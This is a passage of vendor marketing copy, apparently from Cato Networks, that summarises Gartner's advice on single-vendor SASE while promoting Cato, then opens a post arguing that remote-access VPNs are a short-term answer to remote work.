functions, a single policy enforced everywhere, and a smaller attack surface. Better use of network and security staff – Deployment times are reduced, fewer skills and resources are needed to manage a unified platform, a single policy is applied throughout the various security functions, and redundant activities go away. Improved experiences for users and system administrators – Performance issues such as latency and jitter are easier to tame or eliminate, it’s easier to diagnose issues end-to-end, and there is a single repository for logs and other event data. Of course, implementing such a solution can have its challenges as well—like how to deal with organizational siloes, and what to do about existing IT investments. Global coverage can be an issue for the early-stage vendors. Fortunately, Cato has extensive coverage with 75+ PoPs around the world today. Gartner says solution maturity can be an issue, but that’s mainly a problem for the neophyte vendors. With more than 8 years in the single-vendor SASE business behind us, Cato is one of – if not the – most mature vendor in the market. Gartner Offers Recommendations As with all Gartner guides, the research firm has recommendations pertaining to strategy and planning, evaluation, and deployment: Establish a cross-functional team including people from both networking and security to increase the potential for a successful implementation. Evaluate single-vendor SASE against the backdrop of multi-vendor and managed offerings to determine which method would provide the most flexibility. “Choose single-vendor SASE offerings that provide single-pass scanning, single unified console and data lake covering all functions to improve user experience and staff efficacy.” (Spoiler alert: Cato provides all of these things.) Do a Proof of Concept project with real locations and real users to see how well an offering can meet your needs. (Cato is happy to set you up with a PoC today.) If you are looking for the most mature and feature-rich single-vendor SASE offering with the largest number of worldwide PoPs, look no further than Cato Networks.

Remote Access VPNs are a Short-Term Solution The face of the modern corporate network is changing rapidly. Digital transformation initiatives, cloud adoption, remote work, and other factors all have a significant impact on where corporate IT assets are located and how corporate networks are used. Companies looking to provide secure remote access to their off-site employees have largely chosen to expand their existing virtual private network (VPN) deployments. However, this is a short-term solution to the problems of the increasingly distributed enterprise. VPNs are ill-suited to meeting modern business needs and will only become less so in the future. It’s time for a change. Secure Remote Access Has Become Business-Critical Until a few years ago, most or all of an organization’s employees worked almost exclusively from the office. As a result, many corporate security infrastructures were perimeter-focused, working to protect employees and systems inside the office from external threats. However, remote work has become normalized in recent years. Companies have been slowly shifting toward supporting remote work for some time now, and the pandemic accelerated this shift. Even as some companies try to pull workers back to the office, a higher percentage of employees are working remotely, at least part-time, than before the pandemic. The ability to support remote work has become a critical capability for modern business. The popularity of remote work has made remote or hybrid work programs important for attracting and retaining talent. Additionally, a remote work program can also be a key component of a business continuity and disaster recovery (BC/DR) strategy as employees can work remotely in response to power or Internet outages, extreme weather, or public health crises.
